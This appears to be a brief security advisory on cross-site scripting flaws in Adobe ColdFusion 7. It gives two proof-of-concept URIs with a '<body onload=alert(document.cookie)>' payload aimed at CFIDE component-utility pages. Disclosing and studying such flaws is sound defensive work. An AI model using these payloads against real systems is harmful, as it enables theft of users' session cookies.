Adobe ColdFusion Multiple Cross Site Scripting Vulnerabilities

Adobe ColdFusion is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adobe ColdFusion 7 is vulnerable; other versions may also be affected.

To exploit these issues, an attacker must entice a victim to follow a malicious URI.

The following example URIs are available:

http://example.com/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20onload=alert(document.cookie)%3E

http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E
